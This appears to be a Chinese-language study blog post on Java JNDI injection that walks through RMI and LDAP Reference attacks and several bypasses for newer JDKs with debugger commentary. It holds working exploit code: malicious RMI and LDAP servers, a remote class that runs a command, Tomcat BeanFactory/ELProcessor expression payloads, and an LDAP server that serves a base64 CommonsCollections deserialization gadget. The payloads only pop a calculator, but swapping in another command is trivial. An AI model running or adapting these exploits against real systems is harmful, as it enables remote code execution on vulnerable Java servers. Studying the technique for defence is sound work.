JNDI概述
是什么
JNDI全称Java Naming Diretory Interface ,java名称与目录接口,一个名字对应一个对象。他提供了统一的客户端API,由管理者将JNDI API映射为特定的目录服务和命名服务,为使用者查找和访问资源提供了统一的接口,可以用来的定义用户,网络,机器,对象和服务等各种资源。
命名服务:一个通过名称查找实际对象的服务
目录服务:目录服务在命名服务基础上扩展,允许为对象添加属性,支持通过属性组合筛选资源。例如,LDAP中用户对象可包含姓名、邮箱等属性。
SPI(Service Provider Interface):即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装。
JDK 中包含了下述内置的命名目录服务:
- RMI: Java Remote Method Invocation,Java 远程方法调用
- LDAP: 轻量级目录访问协议
- CORBA: Common Object Request Broker Architecture,通用对象请求代理架构,用于 COS 名称服务(Common Object Services)
- DNS(域名转换协议)
代码实现
| 12
 
 | Context ctx = new InitialContext();MyService service = (MyService) ctx.lookup("rmi://server/MyService");
 
 | 
JNDI攻击
JNDI结合RMI
在之前RMI项目基础上,客户端和服务端分别新建两个文件
JNDIRMIServer
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 
 | import javax.naming.InitialContext;import java.rmi.registry.LocateRegistry;
 import java.rmi.registry.Registry;
 
 public class JNDIRMIServer {
 public static void main(String[] args) throws Exception{
 InitialContext initialContext = new InitialContext();
 Registry registry = LocateRegistry.createRegistry(1099);
 initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl());
 }
 }
 
 | 
JNDIRMIClient
| 12
 3
 4
 5
 6
 7
 8
 9
 
 | import javax.naming.InitialContext;
 public class JNDIRMIClient {
 public static void main(String[] args) throws Exception{
 InitialContext initialContext = new InitialContext();
 RemoteObj remoteObj = (RemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj");
 System.out.println(remoteObj.sayHello("hello"));
 }
 }
 
 | 
这样就能实现远程方法的调用,看起来很RMI很像,主要就是多了InitialContext
漏洞点
打个断点在客户端的lookup调试一下,看整个过程



流程是InitialContext.lookup()->GenericURLContext.lookup()->RegistryContext.lookup()最后在RegistryContext的时候,可以看到this.registry是RegistryImpl_Stub,这个之前已经分析过,所以可以说使用JNDI调用RMI服务的时候,最后还是会走到RMI到逻辑里,使用RMI有的漏洞JNDI也可以打
常见打法jndi reference
jndi注入漏洞,和调用的服务无关,rmi,ldap,dns等都存在这个问题
主要是服务端调用了一个Reference,感觉像套了一层
看一下Reference的构造函数

第一个参数是类名,第二个参数是factory工厂(里面有代码逻辑),第三个参数是地址
先写一个恶意类生产class文件,然后在目录起一个http服务,让calc.class文件可以被访问到
| 12
 3
 4
 5
 
 | public class Calc {public Calc() throws Exception {
 Runtime.getRuntime().exec("open -a calculator");
 }
 }
 
 | 
然后服务端代码
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 
 | import javax.naming.InitialContext;import javax.naming.Reference;
 import java.rmi.registry.LocateRegistry;
 import java.rmi.registry.Registry;
 
 public class JNDIRMIServer {
 public static void main(String[] args) throws Exception{
 InitialContext initialContext = new InitialContext();
 Registry registry = LocateRegistry.createRegistry(1099);
 
 Reference reference = new Reference("Calc","Calc","http://localhost:8000/");
 initialContext.rebind("rmi://localhost:1099/remoteObj", reference);
 }
 }
 
 | 
原来是
| 1
 | initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl());
 | 
现在把new RemoteObjImpl()改成reference,感觉就像一层恶意的壳
现在再运行客户端,就成功弹计算机,再调试一下,看看怎么回事
比较特殊的是进到ResitryContext里面有lookup,出来后下面有个decodeObject(),此时有个var2参数是ReferenceWrapper_Stub类型,是lookup返回的内容,也就是在rmi查询到的对象,但是服务端绑定的是Reference对象

所以会产生这个变化是因为服务端的rebind(),调试看一下,断点打在服务端
| 1
 | initialContext.rebind("rmi://localhost:1099/remoteObj", reference);
 | 
跟到RegistryContext.rebind(),里面有this.registry.rebind(),传进去的参数中var2被encodeObject()处理了

里面就把var1强制转换类型成ReferenceWrapper

继续回到客户端,就是有个decodeObject()刚好对应,里面有一个判断把ReferenceWrapper转换会Rederence

然后重点在后面进入getObjectInstance()一直到后面getObjectFactoryFromReference(),用这个方法调用reference里面的factory

此时已经可以知道factory叫Calc

进到里面执行了类加载,用的loadClass,联系到之前类加载的URLClassloader,一直走到newInstance这一步弹出计算机

所以最后导致代码被利用的是NamingManager这个类,这意味着我们的容器如果是别的格式的也是可以实现利用的
JNDI结合LDAP
之前通常是在域环境遇到ldap,
LDAP(Lightweight Directory Access Protocol ,轻型目录访问协议)是一种目录服务协议LDAP目录服务是由目录数据库和一套访问协议组成的系统,目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,能进行查询、浏览和搜索,以树状结构组织数据。LDAP目录服务基于客户端-服务器模型,它的功能用于对一个存在目录数据库的访问。 LDAP目录和RMI注册表的区别在于是前者是目录服务,并允许分配存储对象的属性。
起一个ldap服务

然后服务端修改代码
| 1
 | initialContext.rebind("ldap://127.0.0.1:10389/cn=test,dc=example,dc=com", reference);
 | 
再看就已经成功绑定上了

然后再用客户端直接去lookup就行
| 1
 | RemoteObj remoteObj = (RemoteObj) initialContext.lookup("ldap://127.0.0.1:10389/cn=test,dc=example,dc=com");
 | 
成功弹出计算机
也是跟进去,重点在后面LdapCtx.c_lookup(),里面有一个decodeObject(),算是解出ldap里面存的内容

走完出来就可以获取到要类加载的具体信息

再走到后面又是getObjectInstance()但是调用的是DirectoryManager类的,流程是差不多的,这个类是漏网之鱼,修复时间比较晚
JNDI攻击高版本绕过
看一下高版本java修复了什么,这里用8u191

在loadclass()里面多了一个判断,这时候trustURLCodebase是false,所以进不去循环,没办法完成类加载
BeanFactory绕过
这里限制了用URLClassLoader,那我们思路改成用本地的类加载,利用本地的恶意类作为Reference factory
也就是说,在服务端本地找到恶意factory作为Reference factory进行攻击,这个恶意factory必须实现javax.naming.spi.ObjectFactory接口,实现这个接口的getObjectInstance()方法
救赎之道就是org.apache.naming.factory.BeanFactory,他满足条件并且存在tomcat8里面,应用面比较广。
先看一下大佬给出的代码再理解吧
JNDIBypassHighJavaClient
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 
 | import javax.naming.Context;import javax.naming.InitialContext;
 
 public class JNDIBypassHighJavaClient {
 public static void main(String[] args) throws Exception {
 String uri = "rmi://127.0.0.1:1099/Object";
 Context context = new InitialContext();
 context.lookup(uri);
 }
 }
 
 | 
JNDIBypassHighJavaServerRebind
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 
 | import org.apache.naming.ResourceRef;import javax.naming.InitialContext;
 import javax.naming.StringRefAddr;
 import java.rmi.registry.LocateRegistry;
 import java.rmi.registry.Registry;
 
 public class JNDIBypassHighJavaServerRebind {
 public static void main(String[] args) throws Exception {
 System.setProperty("java.rmi.server.hostname", "127.0.0.1");
 Registry registry = LocateRegistry.createRegistry(1099);
 InitialContext initialContext = new InitialContext();
 
 ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "",
 true, "org.apache.naming.factory.BeanFactory", null);
 resourceRef.add(new StringRefAddr("forceString", "x=eval"));
 resourceRef.add(new StringRefAddr("x","Runtime.getRuntime().exec('open -a calculator')" ));
 
 initialContext.rebind("rmi://127.0.0.1:1099/Object", resourceRef);
 System.out.println("RMI服务已启动,等待客户端连接...");
 }
 }
 
 | 
我实验用了8u202版本,然后也加入了tomcat8依赖,运行之后就弹计算机了
调试看一下,前面的内容都差不多,走到了NamingManager.getObjectInstance()

可以看到现在进入getObjectFactoryFromReference()里面带的reference是“org.apache.naming.factory.BeanFactory”,进到里面的loadclass会进行这个类加载

然后再判断clas(也就是和我们传的factory有关)是否实现了ObjectFactory接口,接着进入newInstance()

再到getObjectInstance()里面回先判断obj是不是ResourceRef实例,是的话才能继续走下去
这就是为什么我们在恶意 RMI 服务端中构造 Reference 类实例的时候必须要用 Reference 类的子类 ResourceRef 类来创建实例

经过一系列操作,loadclass,获取到beanclass是javax.el.ELProcessor,实例化他,然后获取里面forceString的值,也就是我们构造的x=eval
继续往下调试可以看到,查找 forceString 的内容中是否存在”=”号,不存在的话就调用属性的默认 setter 方法,存在的话就取键值、其中键是属性名而对应的值是其指定的 setter 方法。如此,之前设置的 forceString 的值就可以强制将 x 属性的 setter 方法转换为调用我们指定的 eval() 方法了,这是 BeanFactory 类能进行利用的关键点!之后,就是获取 beanClass 即 javax.el.ELProcessor 类的 eval() 方法并和 x 属性一同缓存到 forced 这个 HashMap 中:

(4.23更新)getObjectInstance()后面这些操作对应到前面服务端的代码意思大概是
| 12
 3
 4
 
 | resourceRef.add(new StringRefAddr("forceString", "x=eval"));
 resourceRef.add(new StringRefAddr("x","Runtime.getRuntime().exec('open -a calculator')" ));
 
 
 | 
后面就是多个dowhile语句,遍历获取ResourceRef实例addr属性的值,获取到addrType的值为x时退出当前循环,然后调用getContent()获取我们传进去的恶意表达式

然后从前面的缓存forced中取出key为x的值即javax.el.ELProcessor类的eval()方法并赋值给method变量,最后带着这些参数走到invoke,实现反射调用执行

还是好理解的,不能用远程的,那就找到一个本地的去用,但是服务端resourceRef.add()里面写的详细内容,说实话不是理解的很透彻,大概设计el表达式,这块现在还不太懂,可能后面学了再看会清晰很多,这里先留个钩子
这里服务端还有另一个写法
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 
 | import com.sun.jndi.rmi.registry.ReferenceWrapper;import org.apache.naming.ResourceRef;
 
 import javax.naming.StringRefAddr;
 import java.rmi.registry.LocateRegistry;
 import java.rmi.registry.Registry;
 
 public class JNDIBypassHighJava {
 public static void main(String[] args) throws Exception {
 System.out.println("[*]Evil RMI Server is Listening on port: 1099");
 Registry registry = LocateRegistry.createRegistry( 1099);
 ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",
 true, "org.apache.naming.factory.BeanFactory", null);
 ref.add(new StringRefAddr("forceString", "x=eval"));
 
 ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['open','-a','Calculator']).start()\")"));
 System.out.println("[*]Evil command: calc");
 ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
 registry.bind("Object", referenceWrapper);
 }
 }
 
 | 
主要差别是这个
| 1
 | ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['open','-a','Calculator']).start()\")"));
 | 
差不多也是反射调用命令执行,但是没有外层的eval也是没用,目前个人认为这个没有直接写Runtime方便
(4.23更新)本来今天想要写一个用ldap实现绕过的,就在上面的方法换个ldap的壳,实践发现在服务端把ResourceRef和ldap绑到一起,到客户端获取数据的过程(主要是Obj.decodeObject()方法,不是很确定),会把对象变成Reference类,这会导致进入BeanFactory.getObjectInstance()方法后就被卡在第一句的类型判断,直接没得玩。
问了ai,这个问题似乎无解,rmi和ldap两个方式进入的decodeObject不是同一个,留个钩子,等明天请教一下大佬。
利用LDAP返回序列化数据绕过
LDAP服务端除了返回JNDI Reference这种方法之外,还可以通过返回序列化的对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。
如果 Java 对象的 javaSerializedData 属性值不为空,则客户端的 obj.decodeObject() 方法就会对这个字段的内容进行反序列化。此时,如果服务端 ClassPath 中存在反序列化咯多功能利用 Gadget 如 CommonsCollections 库,那么就可以结合该 Gadget 实现反序列化漏洞攻击。
所以写一个ldap服务器,里面加入gadget内容
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
 100
 101
 102
 103
 104
 105
 
 | import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
 import com.unboundid.ldap.listener.InMemoryListenerConfig;
 import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
 import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
 import com.unboundid.ldap.sdk.Entry;
 import com.unboundid.ldap.sdk.LDAPException;
 import com.unboundid.ldap.sdk.LDAPResult;
 import com.unboundid.ldap.sdk.ResultCode;
 
 import javax.net.ServerSocketFactory;
 import javax.net.SocketFactory;
 import javax.net.ssl.SSLSocketFactory;
 import java.net.InetAddress;
 import java.net.MalformedURLException;
 import java.net.URL;
 import java.util.Base64;
 
 public class LdapServer {
 private static final String LDAP_BASE = "dc=example,dc=com";
 
 
 public static void main (String[] args) {
 
 String url = "http://127.0.0.1:39876/#Evil";
 int port = 39654;
 
 
 try {
 InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
 config.setListenerConfigs(new InMemoryListenerConfig(
 "listen",
 InetAddress.getByName("0.0.0.0"),
 port,
 ServerSocketFactory.getDefault(),
 SocketFactory.getDefault(),
 (SSLSocketFactory) SSLSocketFactory.getDefault()));
 
 config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
 InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
 System.out.println("Listening on 0.0.0.0:" + port);
 ds.startListening();
 
 }
 catch ( Exception e ) {
 e.printStackTrace();
 }
 }
 
 private static class OperationInterceptor extends InMemoryOperationInterceptor {
 
 private URL codebase;
 
 
 
 
 
 public OperationInterceptor ( URL cb ) {
 this.codebase = cb;
 }
 
 
 
 
 
 
 
 @Override
 public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
 String base = result.getRequest().getBaseDN();
 Entry e = new Entry(base);
 try {
 sendResult(result, base, e);
 }
 catch ( Exception e1 ) {
 e1.printStackTrace();
 }
 
 }
 
 
 protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
 URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
 System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
 e.addAttribute("javaClassName", "Exploit");
 String cbstring = this.codebase.toString();
 int refPos = cbstring.indexOf('#');
 if ( refPos > 0 ) {
 cbstring = cbstring.substring(0, refPos);
 }
 
 
 
 
 
 
 e.addAttribute("javaSerializedData", Base64.getDecoder().decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4A" +
 "GHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ABJvcGVuIC1hIGNhbGN1bGF0b3J0AARleGVjdXEAfgAbAAAAAXEAfgAgc3EAfgAPc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4eA=="));
 
 result.sendSearchEntry(e);
 result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
 }
 
 }
 }
 
 | 
然后客户端执行lookup也能弹计算机
这里有一款工具自动化很方便 https://github.com/rebeyond/JNDInjector.git

看一下代码,前面都是一样的,进入到decodeObject()->getURLClassLoader()

里面依然有对trustURLCodebase的判断,结果是false

但是回到decodeObject里面有一个deserializeObject(),里面有readObejct()就是用来反序列化的,而且我们也有了字节码,所以这样也能攻击成功。

参考
【从文档开始的jndi注入之路-2 jndi+ldap绕过】https://www.bilibili.com/video/BV1JY411F7mA?vd_source=46e5237289ae6c1a3c7bcab6091e42a6
https://drun1baby.top/2022/07/28/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BJNDI%E5%AD%A6%E4%B9%A0/
https://github.com/bfengj/CTF/blob/main/Web/java/JNDI/%5BJava%E5%AE%89%E5%85%A8%5D%E7%BB%95%E8%BF%87%E9%AB%98%E7%89%88%E6%9C%ACJDK%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E5%AD%A6%E4%B9%A0.md
碎碎念
诶其实还有好多别的做法,现在先摸个皮毛,差不多了解这个思想,以后遇到更深的再接触